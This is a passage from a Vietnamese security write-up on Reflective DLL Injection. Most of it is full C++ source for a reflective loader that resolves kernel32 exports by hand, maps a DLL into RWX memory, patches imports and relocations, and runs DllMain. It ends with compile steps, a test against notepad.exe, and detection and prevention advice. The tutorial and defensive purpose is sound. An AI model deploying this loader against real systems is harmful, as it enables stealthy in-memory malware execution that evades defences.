        BYTE Reserved4[8];
        PVOID Reserved5[3];
        union {
            ULONG CheckSum;
            PVOID Reserved6;
        };
        ULONG TimeDateStamp;
    } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

    while (ptr != moduleList && (uiModuleBaseKernel32 == NULL || uiModuleBaseNtdll == NULL))
    {
        LDR_DATA_TABLE_ENTRY* module = (LDR_DATA_TABLE_ENTRY*)ptr;
        wchar_t* moduleName = module->FullDllName.Buffer;
        if (moduleName && moduleName[0] == 'K' && moduleName[1] == 'E' && moduleName[2] == 'R' && moduleName[3] == 'N' &&
            moduleName[4] == 'E' && moduleName[5] == 'L' && moduleName[6] == '3' && moduleName[7] == '2' &&
            moduleName[8] == '.' && moduleName[9] == 'D' && moduleName[10] == 'L' && moduleName[11] == 'L')
            uiModuleBaseKernel32 = (HMODULE)(module->DllBase);
        else if (moduleName && moduleName[0] == 'n' && moduleName[1] == 't' && moduleName[2] == 'd' && moduleName[3] == 'l' &&
            moduleName[4] == 'l' && moduleName[5] == '.' && moduleName[6] == 'd' && moduleName[7] == 'l' && moduleName[8] == 'l')
            uiModuleBaseNtdll = (HMODULE)(module->DllBase);
        ptr = ptr->Flink;
    }

    while (!ptrVirtualAlloc || !ptrGetProcAddress || !ptrLoadLibraryA)
    {
        IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)uiModuleBaseKernel32;
        IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)uiModuleBaseKernel32 + dosHeader->e_lfanew);
        IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)uiModuleBaseKernel32 +
            ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

        DWORD* nameArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNames);
        WORD* ordinalArray = (WORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNameOrdinals);
        DWORD* funcArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfFunctions);

        for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i)
        {
            char* funcName = (char*)((BYTE*)uiModuleBaseKernel32 + nameArray[i]);

            if (!ptrVirtualAlloc && funcName[0] == 'V' && funcName[1] == 'i' && funcName[2] == 'r' && funcName[3] == 't' &&
                funcName[4] == 'u' && funcName[5] == 'a' && funcName[6] == 'l' && funcName[7] == 'A' &&
                funcName[8] == 'l' && funcName[9] == 'l' && funcName[10] == 'o' && funcName[11] == 'c')
                ptrVirtualAlloc = (pVirtualAlloc)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));

            else if (!ptrGetProcAddress && funcName[0] == 'G' && funcName[1] == 'e' && funcName[2] == 't' && funcName[3] == 'P' && funcName[4] == 'r' && funcName[5] == 'o' && funcName[6] == 'c' && funcName[7] == 'A' && funcName[8] == 'd' && funcName[9] == 'd' && funcName[10] == 'r' && funcName[11] == 'e' && funcName[12] == 's' && funcName[13] == 's')
                ptrGetProcAddress = (pGetProcAddress)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));

            else if (!ptrLoadLibraryA && funcName[0] == 'L' && funcName[1] == 'o' && funcName[2] == 'a' && funcName[3] == 'd' && funcName[4] == 'L' && funcName[5] == 'i' && funcName[6] == 'b' && funcName[7] == 'r' && funcName[8] == 'a' && funcName[9] == 'r' && funcName[10] == 'y' && funcName[11] == 'A')
                ptrLoadLibraryA = (pLoadLibraryA)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));
        }
    }

    uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    uiBaseAddress = (ULONG_PTR)ptrVirtualAlloc(
        NULL,
        ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    ULONG_PTR uiSizeOfHeaders = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    ULONG_PTR uiCurPtrToRawDll = uiLibraryAddress;
    ULONG_PTR uiNewPtrOfDll = uiBaseAddress;

    while (uiSizeOfHeaders--)
        *(BYTE*)uiNewPtrOfDll++ = *(BYTE*)uiCurPtrToRawDll++;
    uiCurPtrToRawDll = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader +
        ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
    WORD uiNumberOfSections = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;

    while (uiNumberOfSections--)
    {
        ULONG_PTR curPtrToVAddOfSection = (uiBaseAddress +
            ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->VirtualAddress);
        ULONG_PTR sectionRawData = uiLibraryAddress +
            ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->PointerToRawData;
        ULONG_PTR sizeOfCurSection = ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->SizeOfRawData;

        while (sizeOfCurSection--)
        {
            *(BYTE*)curPtrToVAddOfSection++ = *(BYTE*)sectionRawData++;
        }

        uiCurPtrToRawDll += sizeof(IMAGE_SECTION_HEADER);
    }

    PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor =
        (PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress +
            ((PIMAGE_NT_HEADERS)uiHeaderValue)->
            OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    while (pImportDescriptor->Name)
    {
        HMODULE hModule = ptrLoadLibraryA((LPCSTR)(uiBaseAddress + pImportDescriptor->Name));
        PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk);

        while (pThunk->u1.AddressOfData)
        {
            PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunk->u1.AddressOfData);
            FARPROC pFunc = ptrGetProcAddress(hModule, (LPCSTR)(pImportByName->Name));

            if (pFunc)
            {
                pThunk->u1.Function = (ULONGLONG)pFunc;
            }

            pThunk++;
        }

        pImportDescriptor++;
    }

    PIMAGE_DATA_DIRECTORY baseRelocAddress =
        (PIMAGE_DATA_DIRECTORY) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->
        OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

    if (baseRelocAddress->Size)
    {
        PIMAGE_BASE_RELOCATION vaBaseRelocTable =
            (PIMAGE_BASE_RELOCATION)(uiBaseAddress + baseRelocAddress->
                VirtualAddress);
        while (vaBaseRelocTable->SizeOfBlock)
        {
            ULONG_PTR vaCurRelocBlock = uiBaseAddress +
                vaBaseRelocTable->VirtualAddress;

            PIMAGE_RELOC RelocBlock =
                (PIMAGE_RELOC)((ULONG_PTR)vaBaseRelocTable +
                    sizeof(IMAGE_BASE_RELOCATION));

            for (DWORD i = 0; i < (vaBaseRelocTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); i++)
            {
                if (RelocBlock[i].Type == IMAGE_REL_BASED_DIR64)
                    *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock[i].Offset) += uiBaseAddress -
                    ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

                RelocBlock++;
            }
            vaBaseRelocTable = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)vaBaseRelocTable + vaBaseRelocTable->
                SizeOfBlock);
        }
    }

    ULONG_PTR dllMain = uiBaseAddress + ((PIMAGE_NT_HEADERS)
        uiHeaderValue)->OptionalHeader.AddressOfEntryPoint;
    ((DLLMAIN)dllMain)((HINSTANCE)uiBaseAddress,
        DLL_PROCESS_ATTACH, NULL);
}

* * Để compile thì mở `x64 Native Tools Command Prompt for VS 2022` hoặc `x86 Native Tools Command Prompt for VS 2022` tùy mục đích phiên bản, đến đúng đường dẫn và
`cl /nologo /LD /O2 ReflectiveLoader.cpp /link /OUT:ReflectiveLoader.dll` nhaaa.
## Test thử ...
* Cần thiết thì ta kiểm tra thêm bộ nhớ của **notepad.exe**, có thể dùng **Process Hacker**.
* Ta thấy tại tab **Memory**, có 1 địa chỉ quyền **RWX**, và xem nội dung thử thì ta thấy các dòng rất quen thuộc, đó là **DOS header** và **DOS stub** của **DLL**. Vậy điều đó khẳng định rằng quá trình thực hiện kỹ thuật của chúng ta thành công.

# Phát hiện và phòng chống Reflective DLL Injection
## Dấu hiệu nhận biết
* **DLL không hợp lệ**: Module **DLL** trong tiến trình không có đường dẫn file trên ổ đĩa.
* **Hành vi bất thường**: Tiến trình hợp lệ nhưng có hoạt động lạ (kết nối máy chủ lạ, ghi file, thực thi lệnh).
* **Thiếu sự kiện LoadLibrary/NtMapViewOfSection**: **DLL** xuất hiện nhưng không qua các **API** nạp **DLL** thông thường.
* **Memory scanning**: Tìm code trong vùng nhớ không thuộc module hợp lệ (dùng **Volatility**, **rekall**).
**Thread bất thường**: Xuất hiện `thread` mới được tạo bởi `CreateRemoteThread` hoặc `NtCreateThreadEx`.
## Phòng chống
* **Giảm quyền tiến trình**: Chỉ cấp quyền tối thiểu cần thiết.
* **Dùng AV/EDR mạnh**: Phát hiện dựa trên hành vi thay vì chỉ `signature`.
* **Giám sát API injection**: Theo dõi `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread`, `NtUnmapViewOfSection`.
* **Cấm nạp DLL từ vùng nhớ lạ**: Ngăn tiến trình thực thi mã từ `memory` chưa xác thực.
* **Kiểm tra chữ ký số DLL**: Chỉ cho phép **DLL** hợp lệ, có chứng chỉ.
* **Sandbox/VM**: Phân tích ứng dụng nghi ngờ trong môi trường ảo hóa để quan sát hành vi.
# Tổng kết
* Với wu lần này, mình đã trình bày những tìm hiểu của mình về kỹ thuật **Reflective DLL Injection**, kết hợp so sánh ưu/nhược điểm so với **Classic DLL Injection**, đồng thời demo thử kỹ thuật. Trong lúc tổng hợp wu có thể có những sai sót, các bạn đọc tham khảo có thể góp ý để wu mình hoàn thiện hơn. Tới đây là kết thúc wu rồi, chúc các bạn 1 ngày tốt lành và mong wu này giúp ích cho các bạn!!!
# Refs
https://hackmd.io/@Wh04m1/BynkMpRF3